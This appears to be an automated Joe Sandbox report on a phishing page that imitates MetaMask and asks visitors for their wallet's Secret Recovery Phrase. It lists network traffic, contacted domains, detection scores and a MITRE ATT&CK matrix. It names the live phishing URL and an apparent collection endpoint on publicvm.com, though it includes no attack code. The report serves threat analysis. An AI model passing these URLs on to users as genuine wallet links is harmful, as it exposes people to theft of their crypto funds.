Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://jquery.com/
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://jquery.org/license
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://jsperf.com/getall-vs-sizzle/2
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://jsperf.com/thor-indexof-vs-for/5
Source: chromecache_93.2.dr	String found in binary or memory: https://kandhsiahfh.publicvm.com/psa.php
Source: chromecache_93.2.dr	String found in binary or memory: https://metamask.io/
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://promisesaplus.com/#point-48
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://promisesaplus.com/#point-54
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://promisesaplus.com/#point-57
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://promisesaplus.com/#point-59
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://promisesaplus.com/#point-61
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://promisesaplus.com/#point-64
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://promisesaplus.com/#point-75
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://sizzlejs.com/
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
Source: chromecache_87.2.dr, chromecache_85.2.dr	String found in binary or memory: https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49739 version: TLS 1.2

Source: classification engine

Classification label: mal72.phis.win@17/45@20/11

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2328,i,8026350852985058679,5280936340739271896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2528 --field-trial-handle=2328,i,8026350852985058679,5280936340739271896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Confirm
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Automated click: Confirm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	17%	Virustotal		Browse
http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	100%	SlashNext	Fraudulent Website type: Phishing & Social Engineering

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
gtomitsuka.github.io	0%	Virustotal	Browse
cdnjs.cloudflare.com	0%	Virustotal	Browse
pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev	14%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
code.jquery.com	1%	Virustotal	Browse
bestfilltype.netlify.app	0%	Virustotal	Browse
bg.microsoft.map.fastly.net	0%	Virustotal	Browse
fp2e7a.wpc.phicdn.net	0%	Virustotal	Browse
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://bugs.webkit.org/show_bug.cgi?id=136851	0%	URL Reputation	safe
http://jquery.org/license	0%	URL Reputation	safe
https://jsperf.com/thor-indexof-vs-for/5	0%	URL Reputation	safe
https://bugs.jquery.com/ticket/12359	0%	URL Reputation	safe
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	0%	URL Reputation	safe
https://promisesaplus.com/#point-75	0%	URL Reputation	safe
https://drafts.csswg.org/cssom/#common-serializing-idioms	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=29084	0%	URL Reputation	safe
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	0%	URL Reputation	safe
https://gtomitsuka.github.io/gibberish-detector.js/gibberish.min.js	0%	URL Reputation	safe
https://bestfilltype.netlify.app/full.png	0%	URL Reputation	safe
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	0%	URL Reputation	safe
http://opensource.org/licenses/MIT).	0%	URL Reputation	safe
https://bugs.jquery.com/ticket/13378	0%	URL Reputation	safe
https://promisesaplus.com/#point-64	0%	URL Reputation	safe
https://bestfilltype.netlify.app/confirm.png	0%	URL Reputation	safe
https://promisesaplus.com/#point-61	0%	URL Reputation	safe
https://bestfilltype.netlify.app/eye-open.png	0%	URL Reputation	safe
https://drafts.csswg.org/cssom/#resolved-values	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.1.1.min.js	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	0%	URL Reputation	safe
https://metamask.io/	0%	URL Reputation	safe
https://promisesaplus.com/#point-59	0%	URL Reputation	safe
https://jsperf.com/getall-vs-sizzle/2	0%	URL Reputation	safe
https://promisesaplus.com/#point-57	0%	URL Reputation	safe
https://promisesaplus.com/#point-54	0%	URL Reputation	safe
https://code.jquery.com/jquery-3.3.1.js	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/forms.html#category-listed	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	0%	URL Reputation	safe
https://developer.mozilla.org/en-US/docs/CSS/display	0%	URL Reputation	safe
https://jquery.org/license	0%	URL Reputation	safe
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	0%	URL Reputation	safe
https://jquery.com/	0%	URL Reputation	safe
https://bestfilltype.netlify.app/icon.png	0%	URL Reputation	safe
https://bugs.webkit.org/show_bug.cgi?id=137337	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	0%	URL Reputation	safe
https://promisesaplus.com/#point-48	0%	URL Reputation	safe
https://bestfilltype.netlify.app/logo.png	0%	URL Reputation	safe
https://bestfilltype.netlify.app/eye-close.png	0%	URL Reputation	safe
https://sizzlejs.com/	0%	URL Reputation	safe
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	0%	URL Reputation	safe
https://bestfilltype.netlify.app/tada.png	0%	URL Reputation	safe
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	1%	Virustotal		Browse
https://github.com/eslint/eslint/issues/6125	0%	Virustotal		Browse
https://kandhsiahfh.publicvm.com/psa.php	4%	Virustotal		Browse
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	0%	Virustotal		Browse
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	0%	Virustotal		Browse
https://github.com/jquery/sizzle/pull/225	0%	Virustotal		Browse
https://github.com/jquery/jquery/pull/557)	0%	Virustotal		Browse
https://github.com/eslint/eslint/issues/3229	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
gtomitsuka.github.io	185.199.108.153	true	false	0%, Virustotal, Browse	unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false	0%, Virustotal, Browse	unknown
pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev	172.66.0.235	true	false	14%, Virustotal, Browse	unknown
code.jquery.com	151.101.194.137	true	false	1%, Virustotal, Browse	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	0%, Virustotal, Browse	unknown
www.google.com	172.217.18.100	true	false	0%, Virustotal, Browse	unknown
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.34	true	false	0%, Virustotal, Browse	unknown
bestfilltype.netlify.app	35.156.224.161	true	false	0%, Virustotal, Browse	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://gtomitsuka.github.io/gibberish-detector.js/gibberish.min.js	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/full.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/confirm.png	false	URL Reputation: safe	unknown
http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	true		unknown
https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html	false		unknown
https://code.jquery.com/jquery-3.1.1.min.js	false	URL Reputation: safe	unknown
https://code.jquery.com/jquery-3.3.1.js	false	URL Reputation: safe	unknown
https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/icon.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/logo.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/eye-close.png	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/tada.png	false	URL Reputation: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.webkit.org/show_bug.cgi?id=136851	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
http://jquery.org/license	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://jsperf.com/thor-indexof-vs-for/5	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://bugs.jquery.com/ticket/12359	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/	chromecache_87.2.dr, chromecache_85.2.dr	false	1%, Virustotal, Browse	unknown
https://html.spec.whatwg.org/#strip-and-collapse-whitespace	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-75	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-a	chromecache_87.2.dr, chromecache_85.2.dr	false	0%, Virustotal, Browse	unknown
https://drafts.csswg.org/cssom/#common-serializing-idioms	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=29084	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/6125	chromecache_87.2.dr, chromecache_85.2.dr	false	0%, Virustotal, Browse	unknown
https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/jquery/pull/557)	chromecache_87.2.dr, chromecache_85.2.dr	false	0%, Virustotal, Browse	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=378607	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon	chromecache_87.2.dr, chromecache_85.2.dr	false	0%, Virustotal, Browse	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=687787	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://kandhsiahfh.publicvm.com/psa.php	chromecache_93.2.dr	false	4%, Virustotal, Browse	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=470258	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
http://opensource.org/licenses/MIT).	chromecache_86.2.dr, chromecache_91.2.dr	false	URL Reputation: safe	unknown
https://bugs.jquery.com/ticket/13378	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-64	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-61	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://bestfilltype.netlify.app/eye-open.png	chromecache_93.2.dr	false	URL Reputation: safe	unknown
https://drafts.csswg.org/cssom/#resolved-values	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=589347	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/syntax.html#attributes-2	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://metamask.io/	chromecache_93.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-59	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://jsperf.com/getall-vs-sizzle/2	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-57	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://github.com/eslint/eslint/issues/3229	chromecache_87.2.dr, chromecache_85.2.dr	false	0%, Virustotal, Browse	unknown
https://promisesaplus.com/#point-54	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/forms.html#category-listed	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://developer.mozilla.org/en-US/docs/CSS/display	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://jquery.org/license	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://jquery.com/	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://bugs.webkit.org/show_bug.cgi?id=137337	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://promisesaplus.com/#point-48	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://github.com/jquery/sizzle/pull/225	chromecache_87.2.dr, chromecache_85.2.dr	false	0%, Virustotal, Browse	unknown
https://sizzlejs.com/	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown
https://bugs.chromium.org/p/chromium/issues/detail?id=449857	chromecache_87.2.dr, chromecache_85.2.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
162.159.140.237	unknown	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
172.66.0.235	pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev	United States	13335	CLOUDFLARENETUS	false
151.101.194.137	code.jquery.com	United States	54113	FASTLYUS	false
185.199.108.153	gtomitsuka.github.io	Netherlands	54113	FASTLYUS	false
35.156.224.161	bestfilltype.netlify.app	United States	16509	AMAZON-02US	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false
172.217.18.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1521706
Start date and time:	2024-09-29 02:26:32 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@17/45@20/11
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.99, 142.250.185.238, 64.233.166.84, 34.104.35.123, 142.250.186.74, 142.250.184.234, 142.250.184.227, 142.250.185.202, 172.217.16.202, 172.217.23.106, 142.250.185.138, 142.250.185.106, 142.250.181.234, 142.250.185.234, 142.250.186.106, 216.58.206.74, 142.250.185.170, 142.250.186.138, 142.250.186.170, 142.250.184.202, 142.250.185.74, 4.175.87.197, 199.232.210.172, 192.229.221.95, 13.85.23.206, 40.69.42.241, 142.250.185.131, 217.20.57.34
Excluded domains from analysis (whitelisted): fonts.googleapis.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, ajax.googleapis.com, fonts.gstatic.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, clientservices.googleapis.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, ocsp.digicert.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, update.googleapis.com, clients.l.google.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

⊘No simulations

LLM Input / Output

Input	Output
URL: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html Model: jbxai	{ "brand":["MetaMask"], "contains_trigger_text":true, "trigger_text":"Access your wallet with your Secret Recovery Phrase", "prominent_button_name":"confirm", "text_input_field_labels":["icon"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

URL: https://pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev/index.html Model: jbxai	{ "brand":["MetaMask"], "contains_trigger_text":true, "trigger_text":"Access your wallet with your Secret Recovery Phrase", "prominent_button_name":"confirm", "text_input_field_labels":["eye-close"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
